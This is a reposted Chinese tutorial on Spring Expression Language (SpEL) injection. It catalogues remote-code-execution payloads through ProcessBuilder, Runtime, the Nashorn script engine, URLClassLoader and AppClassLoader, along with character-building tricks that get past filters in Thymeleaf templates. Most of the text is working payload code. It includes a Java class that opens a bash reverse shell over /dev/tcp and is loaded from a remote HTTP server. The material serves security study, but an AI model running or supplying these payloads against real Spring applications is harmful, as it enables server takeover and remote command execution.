本文转自先知社区:https://xz.aliyun.com/t/9245
作者:何止
前言
SpEL注入基础
SpEL简介
基本用法:
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!
public class Spel {
public String name = "何止";
public static void main(String[] args) {
Spel user = new Spel();
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression expression = parser.parseExpression("#user.name");//解析表达式
System.out.println( expression.getValue(context).toString() );//取值,输出何止
}
}
T()
操作符 , T()
操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名()
,后面会用得到#
操作符可以用于标记对象RCE第一部分
01 : 调用ProcessBuilder
String[] str = new String[]{"open","/System/Applications/Calculator.app"};ProcessBuilder p = new ProcessBuilder( str );p.start();//打开计算器
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
String cmdStr = "new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
02 : 调用RunTime
Runtime rt = Runtime.getRuntime();//
rt.exec(new String[]{"open","/System/Applications/Calculator.app"});
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")
T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})
RunTime类
使用了单例模式 ,获取对象的话不能直接通过构造方法获得,必须通过静态方法getRuntime
来获得 , 其源码可参考下图 , 调用静态方法的话需要使用SpEL的T()
操作符,T()
操作符会返回一个object.03 : 调用ScriptEngine
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}
Name: Oracle Nashorn
Version: 1.8.0_261
Language name: ECMAScript
Language version: ECMA - 262 Edition 5.1
Extensions: [js]
Mime types: [application/javascript, application/ecmascript, text/javascript, text/ecmascript]
Names: [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
,举个例子:ScriptEngineManager sem = new ScriptEngineManager();ScriptEngine engine = sem.getEngineByName("nashorn");System.out.println(engine.eval("2+1"));
nashorn
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
javascript
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
RCE第二部分
BootstrapClassLoader
、ExtensionClassLoader
和AppClassLoader
、UrlClassLoader
AppClassLoader
和UrlClassLoader
04 : UrlClassLoader
URLClassLoader 可以加载远程类库和本地路径的类库
public class Exp{
public Exp(String address){
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
python -m SimpleHTTPServer 8990
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
05 : AppClassLoader
AppClassLoader 直接面向用户,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录 由于双亲委派的存在,它可以加载到我们想要的类
System.out.println(ClassLoader.getSystemClassLoader());
-
加载Runtime执行
由于需要调用到静态方法所以还是要用到
T()
操作
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
-
加载ProcessBuilder执行
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()
06: 通过其他类获取AppClassLoader
System.out.println( org.springframework.expression.Expression.class.getClassLoader() );
T(org.springframework.expression.Expression).getClass().getClassLoader()
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
T(com.ctf.controller.Demo).getClass().getClassLoader()
07: 通过内置对象加载UrlClassLoader
{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("touch/tmp/foobar")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
this
关键字来加载也很是巧妙08: 字符串 bypass
T(类名).getName()
会返回字符串类型的全限定类名[[${T(String).getName()}]]
结果为java.lang.String[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]]
#回显h3zh1
[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]
#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)
[[${#request.getRequestedSessionId()}]]
本文始发于微信公众号(合天网安实验室):有趣的SpEL注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论